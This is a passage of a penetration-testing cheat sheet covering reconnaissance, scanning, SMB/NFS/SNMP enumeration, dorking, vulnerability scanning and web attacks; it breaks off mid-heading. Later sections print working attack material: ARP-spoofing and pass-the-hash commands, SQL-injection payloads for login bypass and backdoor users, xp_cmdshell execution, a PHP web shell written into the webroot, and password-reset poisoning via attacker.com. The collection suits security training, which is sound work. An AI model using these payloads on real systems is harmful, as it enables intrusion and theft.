[Gitleaks](https://github.com/gitleaks/gitleaks) - [Source code review](#source-code-review) - [Shodan](https://www.shodan.io/) ``` hostname:targetcorp.com Search for TargetCorp’s domain hostname:targetcorp.com port:'22' Search for TargetCorp’s domain running SSH ``` - [Shodan for Chrome](https://chrome.google.com/webstore/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap) and [for Firefox](https://addons.mozilla.org/en-US/firefox/addon/shodan_io/) - [Security Headers Scanner](https://securityheaders.com/) - [SSL Server Test](https://www.ssllabs.com/ssltest/) - [DMARC Inspector](https://dmarcian.com/dmarc-inspector/) ### <ins>User Information Gathering</ins> Note: A company may only approve tests of its own systems. Personal devices, outside email, and social media accounts used by employees often do not come under this authorisation. #### Email Harvesting - [theHarvester](https://github.com/laramies/theHarvester) ``` theharvester -d targetcorp.com -b google -d specify target domain, -b set data source to search ``` - [hunter.io](https://hunter.io/) - [Phonebook.cz](https://phonebook.cz/) - [voilanorbert.com](https://www.voilanorbert.com/) - [Clearbit](https://clearbit.com/) Verify email addresses - [Email Hippo](https://tools.emailhippo.com/) - [Email Checker](https://email-checker.net/) #### Social media tools - [Social Searcher](https://www.social-searcher.com/) - [Twofi](https://digi.ninja/projects/twofi.php) - [linkedin2username](https://github.com/initstring/linkedin2username) #### Data breaches - [HaveIBeenPwned](https://haveibeenpwned.com/) - [Breach-Parse](https://github.com/hmaverickadams/breach-parse) - [WeLeakInfo](https://mobile.twitter.com/weleakinfo) - [Dehashed](https://www.dehashed.com/) - [Hashes.com](https://hashes.com/en/decrypt/hash) Malicious hackers frequently post stolen passwords on [Pastebin](https://pastebin.com/) or other less reputable websites. This is useful for generating wordlists. - An example: [rockyou.txt](https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt) #### Acquisitions Search for any acquisitions by the target - [bgp.he.net](https://bgp.he.net/) - [Crunchbase](https://www.crunchbase.com/) - [OCCRP Aleph](https://aleph.occrp.org/) ## Active Information Gathering ### <ins>DNS Enumeration</ins> **host command** ``` host www.targetcorp.com Find the A host record host -t mx www.targetcorp.com Find the MX record host -t txt www.targetcorp.com Find the TXT record host -l <domain name> <dns server address> Perform a DNS zone transfer; -l: list zone ``` **Brute force forward DNS name lookups** using a list like `possible_subs.txt` containing common hostnames (see [SecLists](https://github.com/danielmiessler/SecLists)): ``` for ip in $(cat possible_subs.txt); do host $ip.megacorpone.com; done ``` **Brute force reverse DNS names** ``` for ip in $(seq 50 100); do host 38.100.193.$ip; done | grep -v "not found" ``` **Tools** - DNSRecon ``` dnsrecon -d zonetransfer.com -t axfr Perform a zone transfer; -t: specify the type of enumeration to perform dnsrecon -d zonetransfer.com -D ~/list.txt -t brt Brute forcing hostnames ``` - DNSenum ``` dnsenum zonetransfer.me Perform a zone transfer ``` - [Wappalyzer](https://www.wappalyzer.com/) - [WhatWeb](https://github.com/urbanadventurer/WhatWeb) - [BuiltWith](https://builtwith.com/) ### <ins>Port Scanning</ins> #### **Netcat** ``` nc -nvv -w 1 -z <IP> <PORT-RANGE> Use netcat to perform a TCP port scan nc -nv -u -z -w 1 <IP> <PORT-RANGE> Use netcat to perform an UDP port scan ``` #### **Nmap** ``` nmap <IP> Simple nmap scan nmap -p 1-65535 <IP> Scan all the ports nmap -sS <IP> Stealth / SYN Scanning (will not appear in any application logs) nmap -sT <IP> TCP connect scan nmap -sU <IP> UDP scan nmap -sS -sU <IP> Perform a combined UDP and SYN scan nmap -sn <IP> Perform a network sweep nmap -p 1-65535 -sV -T4 -Pn -n -vv -iL target.txt -oX out.xml Discover everything including running services using a list of targets nmap -sn <net_address_in_cdr> Check hosts alive, adding -A you gather more info for a target nmap -sT -A <IP-range> Banner grabbing and/or service enumeration nmap -sT -A --top-ports=20 <IP-range> -oG top-port-sweep.txt Perform a top twenty port scan, save the output in greppable format nmap -O <IP> OS fingerprinting nmap -sV -sT -A <IP> Banner Grabbing, Service Enumeration Find live hosts --------------- nmap -v -sn <IP-range> -oG ping-sweep.txt grep Up ping-sweep.txt | cut -d " " -f 2 Find web servers using port 80 ------------------------------ nmap -p 80 <IP-range> -oG web-sweep.txt grep open web-sweep.txt | cut -d " " -f 2 Nmap Scripting Engine (NSE) --------------------------- nmap --script-help dns-zone-transfer View information about a script, in this case "dns-zone-transfer" nmap <IP> --script=smb-os-discovery OS fingerprinting (SMB services) nmap --script=dns-zone-transfer -p 53 ns2.zonetransfer.com Perform a DNS zone transfer nmap --script http-headers <IP> OS fingerprinting (HTTP supported headers) nmap --script http-title <IP> Other usages ------------ nmap -vvv -A --reason --script="+(safe or default) and not broadcat -p - <IP>" ``` #### **Masscan** ``` masscan -p80 10.0.0.0/8 Look for all web servers using port 80 within a class A subnet masscan -p80 10.11.1.0/24 --rate=1000 -e tap0 --router-ip 10.11.0.1 --rate specify the desired rate of packet transmission -e specify the raw network interface to use --router-ip specify the IP address for the appropriate gateway ``` #### Other tools - [httprobe](https://github.com/tomnomnom/httprobe) designed to find web servers - `type subs.txt | httprobe -p http:81 -p http:3000 -p https:3000 -p http:3001 -p https:3001 -p http:8000 -p http:8080 -p https:8443 -c 150 > out.txt` - [naabu](https://github.com/projectdiscovery/naabu) a fast port scanner - A simple usage using a list of subdomains: `naabu -v -list subs.txt -stats -o out.txt` - Discover everything faster, excluding some ports maybe already checked: `naabu -l 1.txt -v -p - -exclude-ports 80,443,81,3000,3001,8000,8080,8443 -c 1000 -rate 7000 -stats -o 1_o.txt` - **Powershell** - SMB port scanning `Test-NetConnection -Port 445 <IP>` - `1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("<IP>", $_)) "TCP port $_ is open"} 2>$null` - [nmapAutomator](https://github.com/21y4d/nmapAutomator) ### <ins>SMB Enumeration</ins> **Resources** - [smbclient](https://www.samba.org/samba/docs/current/man-html/smbclient.1.html) - [CrackMapExec](https://github.com/Porchetta-Industries/CrackMapExec) - `crackmapexec smb <IP> -u usernames.txt -p passwords.txt --continue-on-success` - `crackmapexec smb <IP> -u <user> -p <password> --shares` - ["A Little Guide to SMB Enumeration"](https://www.hackingarticles.in/a-little-guide-to-smb-enumeration/) **Enumerate SMB Shares** ``` smbclient --------- smbclient -L <IP> see which shares are available smbclient //<IP>/<share> connect to the SMB share smbclient -p <port> -L //<IP>/ -U <username> --password=<password> connect to the SMB share get <file> get files net --- net view \\<IP> /All see which shares are available net use \\<IP>\<share> connect to the SMB share copy \\<IP>\<share>\<file> get files ``` **Use nmap to scan for the NetBIOS service**<br/> `nmap -v -p 139,445 -oG smb.txt 10.11.1.1-254` **Use nbtscan to collect additional NetBIOS information**<br/> `sudo nbtscan -r 10.11.1.0/24` **Find various nmap SMB NSE scripts**<br/> `ls -1 /usr/share/nmap/scripts/smb*`<br/> Example: `nmap -v -p 139, 445 --script=smb-os-discovery <IP>` **Determining whether a host is vulnerable to the MS08_067 vulnerability**<br/> `nmap -v -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1 <IP>`<br/> Note: the script parameter `unsafe=1`, the scripts that will run are almost guaranteed to crash a vulnerable system **General notes** - Remember that you can transfer files to the share with `copy <file> \\<IP>\share` - Also when using `sudo impacket-smbserver -smb2support share .` ### <ins>NFS Enumeration</ins> **Find and identify hosts that have portmapper/rpcbind running using nmap**<br/> `nmap -v -p 111 10.11.1.1-254` **Query rpcbind in order to get registered services**<br/> `nmap -sV -p 111 --script=rpcinfo 10.11.1.1-254` **Nmap NFS NSE Scripts**<br/> `ls -1 /usr/share/nmap/scripts/nfs*`<br/> Run all these scripts with `nmap -p 111 --script nfs* <IP>` **Example of entire /home directory shared** ``` Mount the directory and access the NFS share -------------------------------------------- mkdir home sudo mount -o nolock <IP>:/home ~/home/ cd home/ && ls Add a local user ---------------- sudo adduser pwn Add the new user "pwn" sudo sed -i -e 's/1001/1014/g' /etc/passwd Change the sed of the "pwn" user cat /etc/passwd | grep pwn Verify that the changes have been made ``` ### <ins>SMTP Enumeration</ins> **Interesting commands** - `VRFY` request asks the server to verify an email address - `EXPN` asks the server for the membership of a mailing list - Use telnet to connect to the target to gather information - `telnet <IP> 25` - Port scanning with Powershell - `Test-NetConnection -Port 25 <IP>` **Use nc to validate SMTP users**<br/> `nc -nv <IP> 25` **Use nmap for SMTP enumeration**<br/> `nmap -p 25 --script=smtp-enum-users <IP>` ### <ins>SNMP Enumeration</ins> **Use nmap to perform a SNMP scan**<br/> `sudo nmap -sU --open -p 161 <IP-range> -oG open-snmp.txt` **Use onesixtyone to brute force community strings** 1. Build a text file containing community strings ``` echo public > community echo private >> community echo manager >> community ``` 2. Build a text file containing IP addresses to scan<br/> `for ip in $(seq 1 254); do echo 192.168.45.$ip; done > ips` 3. Use [onesixtyone](https://github.com/trailofbits/onesixtyone)<br/> `onesixtyone -c community -i ips` Note: Provided we at least know the SNMP read-only community string (in most cases is "public")<br/> **Use snmpwalk to enumerate**<br/> - The entire MIB tree: `snmpwalk -c public -v1 -t 10 <IP>` - `-c`: specify the community string - `-v`: specify the SNMP version number - `-t 10` to increase the timeout period to 10 seconds - Windows users: `snmpwalk -c public -v1 <IP> 1.3.6.1.4.1.77.1.2.25` - Windows processes: `snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.25.4.2.1.2` - Installed software: `snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.25.6.3.1.2` ### <ins>HTTP / HTTPS enumeration</ins> - [httprobe](https://github.com/tomnomnom/httprobe) - example: `cat subdomains.txt | httprobe -p http:81 -p http:3000 -p https:3000 -p http:3001 -p https:3001 -p http:8000 -p http:8080 -p https:8443 -c 150 > output.txt` - [naabu](https://github.com/projectdiscovery/naabu) + [httprobe](https://github.com/tomnomnom/httprobe), to find hidden web ports - example ``` naabu -v -list subdomains.txt -exclude-ports 80,443,81,3000,3001,8000,8080,8443 -c 1000 -rate 7000 -stats -o naabu.txt cat naabu.txt | httprobe > results.txt ``` ### <ins>SSH enumeration</ins> - Port `22`, connect with - `ssh <ip>`, `ssh <ip> -oKexAlgorithms=+<option>`, ``ssh <ip> -oKexAlgorithms=+<option>` -c <cipher>` - [PuTTY](https://www.putty.org/) - Search for a banner, to get more info ## Content Discovery **Some tips** - If the application is ASP.NET, search for `Appsettings.json` - Use recursion. If you encounter a `401` response, search with waybackmachine - Search for past reports in the same program **Check the tech of a target with** - [Wappalyzer](https://www.wappalyzer.com/) - [Webanalyze](https://github.com/rverton/webanalyze) Port of Wappalyzer for command line `./webanalyze -host example.com -crawl 1` - [Shodan for Chrome](https://chrome.google.com/webstore/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap) and [for Firefox](https://addons.mozilla.org/en-US/firefox/addon/shodan_io/) **Tools** - [feroxbuster](https://github.com/epi052/feroxbuster) - `feroxbuster -u https://example.com/ --proxy http://127.0.0.1:8080 -k -w wordlist.txt -s 200,403` - [dirsearch](https://github.com/maurosoria/dirsearch) - `dirsearch -l list.txt -x 404,500,501,502,503 -e *` - `dirsearch -u target.io -x 404,500,501,502,503 -e *` - `dirsearch -u <target> -w /usr/share/seclists/Discovery/Web-Content/big.txt -r -R 2 --full-url -t 75 --suffix=.php` - [DIRB](https://salsa.debian.org/pkg-security-team/dirb) - `dirb http://www.target.com -r -z 10` - [changedetection.io](https://github.com/dgtlmoon/changedetection.io) - [ffuf](https://github.com/ffuf/ffuf) - `ffuf -u 'http://<IP>/secret/evil.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -fs 0` **Crawling** - [gospider](https://github.com/jaeles-project/gospider) - `gospider -s target -c 10 -d 4 -t 20 --sitemap --other-source -p http://localhost:8080 --cookie "0=1" --blacklist ".(svg|png|gif|ico|jpg|jpeg|bpm|mp3|mp4|ttf|woff|ttf2|woff2|eot|eot2|swf|swf2|css)"` - [hakrawler](https://github.com/hakluke/hakrawler) - `cat target.txt | hakrawler -u -insecure -t 20 -proxy http://localhost:8080 -h "Cookie: 0=1"` - [Katana](https://github.com/projectdiscovery/katana) - `katana -u target -jc -kf -aff -proxy http://127.0.0.1:8080 -H "Cookie: 0=1"` **Wordlists** - [SecLists](https://github.com/danielmiessler/SecLists) - [wordlists.assetnote.io](https://wordlists.assetnote.io/) - [content_discovery_all.txt](https://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) - [OneListForAll](https://github.com/six2dez/OneListForAll) - [wordlistgen](https://github.com/ameenmaali/wordlistgen) - [Scavenger](https://github.com/0xDexter0us/Scavenger) **To find more endpoints** - [Apkleak](https://github.com/dwisiswant0/apkleaks) to get endpoints from an apk - [Source2Url](https://github.com/danielmiessler/Source2URL/blob/master/Source2URL) to get endpoints from a source code - [waymore](https://github.com/xnl-h4ck3r/waymore) more results from the Wayback Machine - [BurpJSLinkFinder](https://github.com/InitRoot/BurpJSLinkFinder) - [trashcompactor](https://github.com/michael1026/trashcompactor) to remove URLs with duplicate funcionality based on script resources included ### <ins>Google Dorking</ins> - `ext:` search for: php, php3, aspx, asp, jsp, xhtml, phtml, html, xsp, nsf, form, swf - `filetype:` search for filetypes like html or php - `-filetype:html` omit filetype `html` - Search also for pdf, xlsx, bak and similar, they may contain some infos - `site:` to target a website and its subdomains - `inurl:&` to search for parameters - `intitle:` to search interesting pages like admin, register, login etc. - `"Seeing something unexpected? Take a look at the GitHub profile guide." "COMPANY-TARGET" site:http://github.com` [[Reference](https://twitter.com/c3l3si4n/status/1580564006263173122)] - `intext:"© copyright COMPANY YEAR"` [[Reference](https://twitter.com/intigriti/status/1592497655774871553)] - `site:target.com intext:login intext:username intext:password` - Exposed .git `intext:"index of /.git" "parent directory"` - Search for s3 buckets `site:.s3.amazonaws.com "COMPANY"` - Find CVEs, like CVE-2019-9647 `intext:"Powered by Gila CMS"` - Errors `site:target.com intext:"Warning: mysql_num_rows()"` - `intitle:"Index of /" + ".htaccess"` - `intitle:"index of" "parent directory"` directory listing - [Google Dorks - Cloud Storage:](https://twitter.com/TakSec/status/1616852760141627393) ``` site:http://s3.amazonaws.com "target.com" site:http://blob.core.windows.net "target.com" site:http://googleapis.com "target.com" site:http://drive.google.com "target.com" ``` - [Google Hacking Database](https://www.exploit-db.com/google-hacking-database) - [DorkSearch.com](https://dorksearch.com/) - [Refine web searches | Google](https://support.google.com/websearch/answer/2466433?hl=en) ### <ins>GitHub Dorking</ins> - sensitive words: `password, api_key, access_key, dbpassword, dbuser, pwd, pwds, aws_access, key, token, credentials, pass, pwd, passwd, private, preprod, appsecret` - languages: `json, bash, shell, java etc.`, example `HEROKU_API_KEY language:json` - extensions: `extensions: bat, config, ini, env etc.` - filename: `netrpc, .git-credentials, .history, .htpasswd, bash_history`, example `filename:users` - [Other dorks](https://github.com/techgaun/github-dorks#list-of-dorks) ### <ins>Shodan Dorking</ins> - `hostname:targetcorp.com` Search for TargetCorp’s domain - `hostname:targetcorp.com port:'22'` Search for TargetCorp’s domain running SSH ## Networking **Tools** - [Echo Mirage](https://resources.infosecinstitute.com/topic/echo-mirage-walkthrough/) - [Wireshark](https://www.wireshark.org/) - [PCredz](https://github.com/lgandx/PCredz) - [Impacket](https://github.com/SecureAuthCorp/impacket) - `impacket-mssqlclient <user>:<password>@<IP> -windows-auth` - `impacket-psexec -hashes 00000000000000000000000000000000:<NTLM> <USERNAME>@<IP>` - `impacket-psexec <USERNAME>:<PASSWORD>@<IP>` - [putty](https://www.putty.org/) - [MobaXterm](https://mobaxterm.mobatek.net/) - [proxychains](https://github.com/haad/proxychains) - [Samba suite](https://www.samba.org/) - [Enum](https://packetstormsecurity.com/search/?q=win32+enum&s=files) - [Winfo](https://packetstormsecurity.com/search/?q=winfo&s=files) - [enum4linux](https://www.kali.org/tools/enum4linux/) - [macchanger](https://github.com/acrogenesis/macchanger) #### Checking the routing table ``` ip route on Linux box route print on Windows netstat -r on Mac OSX ``` #### Discover the MAC address ``` ip addr on Linux ipconfig /all on Windows ifconfig on MacOS ``` #### Change MAC addess - [How to change or spoof the MAC address in Windows (7 ways)](https://www.digitalcitizen.life/change-mac-address-windows/) - [How to Change Your MAC Address on Linux](https://www.makeuseof.com/how-to-change-mac-address-on-linux/) - [macchanger](https://github.com/acrogenesis/macchanger) #### Check listening ports and the current TCP connections ``` netstat -ano on Windows netstat -tunp on Linux on MacOS -------- netstat -p tcp -p udp lsof -n -i4TCP -i4UDP ``` #### Add new routes ``` ip route add <net_address_in_cdr> via <interface_gateway> on Linux route add <net_address_in_cdr> mask <net_address_mask_in_cdr> <interface_gateway> on Windows nmap -sn <net_address_in_cdr> Check hosts alive, adding -A you gather more info for a target ``` #### Null session ``` Windows ------- nbtstat /? help command nbtstat -A <Target-IP> display information about a target NET VIEW <Target-IP> enumerate the shares of a target NET USE \\<Target-IP>\IPC$ '' /u:'' connect to a window share; connect to 'IPC$' share by using empty username and password Linux ----- nmblookup -A <Target-IP> same as nbtstat for Linux; display information about a target smbclient -L //<Target-IP> -N access Windows shares smbclient //<Target-IP>/IPC$ -N connect to a window share; connect to 'IPC$' share by using empty username and password Enum ---- enum -s <Target-IP> enumerate the shares of a machine enum -U <Target-IP> enumerate the users of a machine enum -P <Target-IP> check the password policy of a machine Winfo ----- winfo <Target-IP> -n use winfo with null session ``` #### Enumeration ``` ip addr query available network interfaces ip route enumerate network routes for i in $(seq 1 254); do nc -zv -w 1 <octet>.<octet>.<octet>.$i <port>; done bash loop with Netcat to sweep for port <PORT> in a subnet ``` #### Target analysis - `tracert <target>` shows details about the path that a packet takes from the device sender to the target destination specified - `for ip in $(echo '<IP>'); do ping -c 5 $ip; traceroute $ip; echo '\nnslookup'; nslookup $ip; done` #### Check ARP cache ``` ip neighbour on Linux apr -a on Windows arp on *nix OS ``` #### ARP Poisoning 1. The goal is to (1) trick the victim to save in the ARP Cache my MAC address (the attacker) associated it with the router IP and (2) the router to send the traffic back to you, this to perform a MITM 2. First, enable the Linux Kernel IP Forwarding to transform a Linux Box into a router `echo 1 > /proc/sys/net/ipv4/ip_forward` 3. Run arpspoof `arpspoof -i <interface> -t <target> -r <host>` - Check also [Ettercap](ettercap-project.org) An example 1. `echo 1 > /proc/sys/net/ipv4/ip_forward` 2. `arpspoof -i eth0 -t 192.168.4.11 -r 192.168.4.16` #### Well-known Ports | Service | Port | | --- | --- | | SMTP | 25 | | SSH | 22 | | POP3 | 110 | | IMAP | 143 | | HTTP | 80 | | HTTPS | 443 | | NETBIOS | 137, 138, 139 | | SFTP | 115 | | Telnet | 23 | | FTP | 21 | | RDP | 3389 | | MySQL | 3306 | | MS SQL Server | 1433 | | Confluence | 8090 | #### Common Port Vulnerabilities See : ["Open Port Vulnerabilities List by Dirk Schrader"](https://blog.netwrix.com/2022/08/04/open-port-vulnerabilities-list/) | Ports | Vulnerabilities | | --- | --- | | 20, 21 (FTP) | - Brute-forcing <br/>- Anonymous authentication (`anonymous` as username and password) <br/>- Cross-site scripting <br/>- Directory traversal attacks | | 22 (SSH) | - leaked SSH keys <br/>- Brute-forcing | | 23 (Telnet) | - Brute-forcing <br/>- Spoofing <br/>-Credential sniffing | | 25 (SMTP) | - Spoofing <br/>- Spamming | | 53 (DNS) | - DDoS | | 137, 139 (NetBIOS over TCP) 445 (SMB) | - [EternalBlue](https://www.cisecurity.org/wp-content/uploads/2019/01/Security-Primer-EternalBlue.pdf) <br/>- Capturing NTLM hashes <br/>- Brute-force | | 80, 443, 8080 and 8443 (HTTP and HTTPS) | - Cross-site Scripting (XSS) <br/>- SQL injections <br/>- Cross-Site Request Forgeries (CSRF) <br/>- DDoS | | 1433,1434 and 3306 (SQL Server and MySQL) | - Default configurations <br/>- DDoS | | 3389 (Remote Desktop) | - [BlueKeep](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2019-0708) <br/>- Leaked or weak user authentication | | 8090 (Confluence) | [CVE-2022-26134](#cve-2022-26134) | ## Source code review - Search for known dangerous functions used on user-supplied input - example, `eval(` can cause command injection without proper sanitization - Search for hardcoded credentials such as API keys, encryption keys and database passwords - many API keys start with the same format (ex. AWS keys usually start with `AKIA`), search for patterns <img src="img/Screenshot_20221110_171255.png"> from [ServletTarPit.java](https://github.com/ShiftLeftSecurity/tarpit-java/blob/master/src/main/java/io/shiftleft/tarpit/ServletTarPit.java), [Tarpit Java](https://github.com/ShiftLeftSecurity/tarpit-java) - Search for weak cryptography or hashing algorithms - Search for outdated dependencies - Search for revealing comments **Digging deeeper** - Prioritize functions like authentication, autorization, PII etc. - example: disclosing PII in the logs, from [OrderStatus.java](https://github.com/ShiftLeftSecurity/tarpit-java/blob/master/src/main/java/io/shiftleft/tarpit/OrderStatus.java) <img src="img/Screenshot_20221110_172648.png"> - example: SQL injection in [OrderStatus.java](https://github.com/ShiftLeftSecurity/tarpit-java/blob/master/src/main/java/io/shiftleft/tarpit/OrderStatus.java) <img src="img/Screenshot_20221110_173028.png"> - Follow any code that deals with user input **Automation** - Use SAST tools - Use SCA tools - Use secret scanners - Then test the results manually **Resources** - [How to Analyze Code for Vulnerabilities](https://www.youtube.com/watch?v=A8CNysN-lOM) - [OWASP Code Review Guide](https://owasp.org/www-project-code-review-guide/) - [Tarpit Java](https://github.com/ShiftLeftSecurity/tarpit-java) - [TruffleHog](https://github.com/trufflesecurity/trufflehog) - [GitLeaks](https://github.com/zricethezav/gitleaks) - [Visual Studio Code](https://code.visualstudio.com/) for Source Code Analysis - [beautifier.io](https://beautifier.io/) for JavaScript Analysis ## Vulnerability Scanning ### <ins>Nessus</ins> [Run Nessus](https://docs.tenable.com/nessus/Content/StartOrStopNessus.htm) and navigate to `http://localhost:8834` **Defining targets**<br/> Top-right, click "New Scan" - Basic Network Scan: general scan containing a number of tests that may be used against different target types - Arguments: a name for the scan and a list of targets (an IP address, an IP range, or comma-delimited FQDN or IP list) - Credentialed Patch Audit: authenticated scan that enumerates missing patches - Web Application Tests: specialized scan for locating published Web application security vulnerabilities - Spectre and Meltdown: targeted scan for [Meltdown](https://en.wikipedia.org/wiki/Meltdown_(security_vulnerability)) and [Spectre](https://en.wikipedia.org/wiki/Spectre_(security_vulnerability)) vulnerabilities **Configuring scan definitions**<br/> - Ports to scan - In "Discovery" > "Scan Type" you can change the ports to scan - "Discovery" > "Port Scanning" to select more specific options - Turn off Host discovery (save time and scan more quietly) - "Discovery" > "Host Discovery" under the "Settings" tab > deselect "Ping the remote host" **Authenticated scanning**<br/> From a new scan, click in the "Credentials" tab. **Scanning with Individual Nessus Plugins**<br/> From the "Plugins tab" you can select multiple options (a family of plugin) in the left column or one by one in the right column. ### <ins>Nmap</ins> NSE scripts can be found in the `/usr/share/nmap/scripts/` directory. Here you can find `script.db`, a file that serves as an index to all of the scripts. - Check also: [CVE-2021-41773 NSE Script](https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse) - `sudo nmap -sV -p 443 --script "http-vuln-cve2021-41773" <IP>` **How to add new scripts** 1. Copy the file in `/usr/share/nmap/scripts/` 2. `sudo nmap --script-updatedb` **Grep for scripts in the "vuln" and "exploit" categories**<br/> `cat script.db | grep '"vuln"\|"exploit"'` **Using NSE's "vuln" scripts**<br/> `sudo nmap --script vuln <IP>` ### <ins>Nikto</ins> You can find it here: [sullo/nikto](https://github.com/sullo/nikto). **An example of usage** `nikto -host=http://www.targetcorp.com -maxtime=30s` ### <ins>Nuclei</ins> You can find it here: [projectdiscovery/nuclei](https://github.com/projectdiscovery/nuclei). See also: "[The Ultimate Guide to Finding Bugs With Nuclei by ProjectDiscovery](https://blog.projectdiscovery.io/ultimate-nuclei-guide/)" **Automatic Selection**<br/> `nuclei -u http://target.io -as` **Check for Technologies**<br/> `%USERPROFILE%\nuclei-templates\technologies` **Check for more: misconfiguration, CVEs and CNVD**<br/> `-t %USERPROFILE%\nuclei-templates\misconfiguration -t %USERPROFILE%\nuclei-templates\cves -t %USERPROFILE%\nuclei-templates\cnvd` **Use it in a workflow**<br/> `cat subdomains.txt | httpx | nuclei -t technologies` **Use tags combined with automatic selection**<br/> `nuclei -l list.txt -as -tags log4j -o output.txt` **Check for: takeovers, .git exposed, crlf-injection, swaggers, exposed panels and old copyrights**<br/> `nuclei -l target.txt -t %USERPROFILE%/nuclei-templates/takeovers -t %USERPROFILE%/nuclei-templates/exposures/configs/git-config.yaml -t %USERPROFILE%/nuclei-templates/vulnerabilities/generic/crlf-injection.yaml -t %USERPROFILE%/nuclei-templates/exposures/apis/swagger-api.yaml -t %USERPROFILE%/nuclei-templates/exposed-panels -t %USERPROFILE%/nuclei-templates/miscellaneous/old-copyright.yaml -stats -o output/nuclei_target` **Check for log4j**<br/> `nuclei -l target.txt -as -tags log4j,cve -stats -o output/nuclei_2_target` ## Web vulnerabilities ### <ins>SQL Injection</ins> #### <ins>Introduction</ins> **Tools** - [SQL injection cheat sheet | PortSwigger](https://portswigger.net/web-security/sql-injection/cheat-sheet) - [SQL Injection cheat sheets | pentestmonkey](https://pentestmonkey.net/category/cheat-sheet/sql-injection) - [sqlmapproject/sqlmap](https://github.com/sqlmapproject/sqlmap) - [Ghauri](https://github.com/r0oth3x49/ghauri) **MySQL** - `mysql -u root -p'root' -h <IP> -P 3306` connect to the database - `select version();` retrieve the db version - `select system_user();` inspecting the current session's user - `show databases;` list all available databases - `USE databasetmp` use the `databasetmp` database - `SHOW TABLES` - `SELECT user, authentication_string FROM mysql.user WHERE user = 'rooter';` inspect user `rooter`'s encrypted password **MSSQL** - `impacket-mssqlclient <user>:<password>@<IP> -windows-auth` connect to remote instance via Impacket - `SELECT @@version;` retrieve the db version - `SELECT name FROM sys.databases;` list all available databases - `SELECT * FROM tempdb.information_schema.tables;` inspect the available tables in the `tempdb` database - `SELECT * from tempdb.dbo.users;` #### <ins>Identification</ins> **How to identify SQL injections** - Search for SQL errors, use the apex or the backtick character in parameters and analyze the response. **Error-based payloads** - Try to generate an error using characters like `'` or the backtick - Try this payload `' OR 1=1 -- //` **UNION-based payloads** - `' ORDER BY <NUMBER>-- //` Verify the exact number of columns - increment the `<NUMBER>` value from `1` to `..` until you reach an error like `Unknown column '7' in 'table'` - [check this](https://portswigger.net/web-security/sql-injection/union-attacks#determining-the-number-of-columns-required-in-a-sql-injection-union-attack) - `' UNION SELECT database(), user(), @@version, null, null -- //` enumerate the database via SQL UNION Injection - use `null` to have the correct number of columns **Blind SQL injections detection** - ```SQL 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z ``` - ```SQL 0'|(IF((now())LIKE(sysdate()),SLEEP(1),0))|'Z ``` - ```SQL 0'or(now()=sysdate()&&SLEEP(1))or'Z ``` #### <ins>Notes</ins> **Extract database information** - Extract the version: `?id=1 union all select 1, 2, @@version` - Extract the database user: `?id=1 union all select 1, 2, user()` - Extract table names: `?id=1 union all select 1, 2, table_name from information_schema.tables` - Extract table columns `?id=1 union all select 1, 2, column_name from information_schema.columns where table_name='users'` - An example of extracting the `users` table: `?id=1 union all select 1, username, password from users` **Authentication Bypass** - `tom’ or 1=1 LIMIT 1;#` - `#` is a comment marker in MySQL/MariaDB - `LIMIT 1` is to return a fixed number of columns and avoid errors when our payload is returning multiple rows **Insert a new user** ```SQL insert into webappdb.users(password, username) VALUES ("backdoor","backdoor"); ``` **Local File Inclusion (LFI)**<br/> Using the `load_file` function: `?id=1 union all select 1, 2, load_file('C:/Windows/System32/drivers/etc/hosts')` **Remote Code Execution (RCE)** - ```SQL EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; xp_cmdshell 'COMMAND'; ``` - ```SQL EXEC sp_configure 'allow updates', 0 RECONFIGURE EXEC sp_configure 'show advanced options', 1 GO RECONFIGURE GO EXEC sp_configure 'xp_cmdshell', 1 GO RECONFIGURE GO xp_cmdshell 'COMMAND'; ``` - Write a PHP shell using the `OUTFILE` function: `?id=1 union all select 1, 2, "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php'`. Then access `backdoor.php&cmd=ipconfig`. **sqlmap** - ``` > SQLMap: sqlmap -u https://vulnerable/index.php?id=1 -l (to parse a Burp log file) --parse-errors --current-db --invalid-logical --invalid-bignum --invalid-string --risk 3 --force-ssl --threads 5 --level 1 --risk 1 --tamper=space2comment ``` - `sqlmap -u http://victim/page.php?param=1 -p param` test the parameter `param` - `sqlmap -u http://victim/page.php?param=1 -p param --dump` dump the entire database - Add ` -D DATABASE_NAME` and `-T TABLE_NAME` to dump a specific database/table - `sqlmap -r request.txt -p param --os-shell` gain shell - `sqlmap -u http://vulnerable.com --forms --crawl=10 --level=5 --risk=3` to crawl - `sqlmap -u http://vulnerable.com --batch` non interactive mode **How to fix SQL injections**: Use parameterized queries/prepared statements to protect against SQL injections by isolating user input from SQL code. They add placeholders for user input in SQL statements, creating a layer of isolation and preventing user input from affecting SQL code. ### <ins>Authentication vulnerabilities</ins> **Multi-factor authentication** - Response manipulation, try to intercept the response and modify the status to `200` - Status code manipulation, change the code from `4xx` to `200` - 2FA code leakage in the response - JS File Analysis - 2FA Code Reusability - Lack of Bruteforce protection - The 2FA code can be used for any user - CSRF on 2FA disabling - Password reset disable 2FA - Bypass 2FA with null or `000000` - Access the content directly - Login with Oauth to bypass 2FA - If you get logged-out after failed attempts, use macros with Burp **Password reset** - Change the `Host` with the host of your server. The request for a password reset might use the `Host` value for the link with the reset token - Try with headers like `X-Forwarded-Host:` - Via dangling markup - `Host: victim.com:'<a href="//attacker.com/?` - Insert two emails, like: - `[email protected];[email protected]` - `email:["[email protected]","[email protected]"]` **Rate-limit** - Bypass with `X-Forwarded-For:127.0.0.1-1000` - IP rotating, you can use - [mubeng](https://github.com/kitabisa/mubeng) - [Burp extension: IP Rotate](https://portswigger.net/bappstore/2eb2b1cb1cf34cc79cda36f0f9019874) - Log in into a valid account to reset the rate-limit **Web 